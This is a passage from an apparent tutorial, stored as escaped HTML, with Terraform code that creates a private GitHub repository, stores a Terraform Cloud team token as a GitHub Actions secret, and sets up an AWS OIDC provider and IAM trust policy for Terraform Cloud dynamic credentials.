style=\"color: #6CB6FF\"\u003e\"repo\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  name\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003evar\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003egithub_repo_name\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  description\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Infrastructure Repository\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  visibility\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"private\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  auto_init\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003etrue\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  has_issues\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003etrue\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"github_branch_default\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"default\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  repository\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003egithub_repository\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003erepo\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ename\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  branch\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003evar\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003egithub_default_branch\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003edata\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfe_team\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"owners\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  name\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e         \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"owners\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  organization\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfe_organization\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eorganization\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ename\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfe_team_token\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"github_actions_token\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  team_id\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003edata\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfe_team\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eowners\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eid\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"github_actions_secret\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfe_secret\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  repository\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003egithub_repository\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003erepo\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ename\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  secret_name\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"TFE_TOKEN\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  plaintext_value\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfe_team_token\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003egithub_actions_token\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etoken\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eoutput\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"repository_id\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  value\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003egithub_repository\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003erepo\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eid\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis will generate a new repository in your account called \u003ccode\u003einfra\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eFor the terraform provider to have access to github you need to create a new\npersonal access token with full \u003ccode\u003erepo\u003c/code\u003e access and set it as an environment\nvariable named \u003ccode\u003eGITHUB_TOKEN\u003c/code\u003e.\u003c/p\u003e\n\u003ch3\u003eTerraform Cloud\u003c/h3\u003e\n\u003cp\u003eNow we need to setup dynamic credentials so the terraform cloud agent is\nallowed to take actions on your behalf.   To do this we'll setup an IAM\nrole and an OIDC provider. Create a file called \u003ccode\u003e4-tfc.tf\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"hcl\" data-theme=\"default\"\u003e\u003ccode data-language=\"hcl\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfe_organization\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"organization\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  name\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003evar\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_organization_name\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  email\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003evar\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_organization_owner\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #768390\"\u003e/* AWS will use this TLS certificate to verify that requests for dynamic\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #768390\"\u003ecredentials come from Terraform Cloud.*/\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003edata\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tls_certificate\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfc_certificate\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  url\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"https://\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e${\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003evar\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_hostname\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e}\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #768390\"\u003e/* sets up an OIDC provider in AWS with Terraform Cloud's TLS certificate,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #768390\"\u003ethe SHA1 fingerprint from the TLS certificate\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #768390\"\u003e*/\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"aws_iam_openid_connect_provider\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfc_provider\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  url\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003edata\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etls_certificate\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_certificate\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eurl\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  client_id_list\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e[var\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_aws_audience]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  thumbprint_list\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e[\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    data\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etls_certificate\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_certificate\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ecertificates[\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003esha1_fingerprint\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  ]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #768390\"\u003e/* Policy to allow TFC to assume the AWS IAM role in our account */\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003edata\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"aws_iam_policy_document\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"assume_role\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003estatement\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    effect\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Allow\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eprincipals\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      type\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Federated\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      identifiers\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e[aws_iam_openid_connect_provider\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_provider\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003earn]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003econdition\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      test\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"StringEquals\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      variable\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e${\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003evar\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_hostname\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e}\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:aud\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      values\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e[\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e${\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eone\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e(aws_iam_openid_connect_provider\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_provider\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eclient_id_list\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e)\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e}\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      ]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003econdition\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      test\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"StringLike\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      variable\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e${\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003evar\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_hostname\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e}\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:sub\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      values\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e[\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003efor\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e workspace \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003ein\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e var\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_workspaces \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"organization:\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e${\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfe_organization\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eorganization\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e}\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:project:\u003c/span\u003e\u003cspan style=\"color: 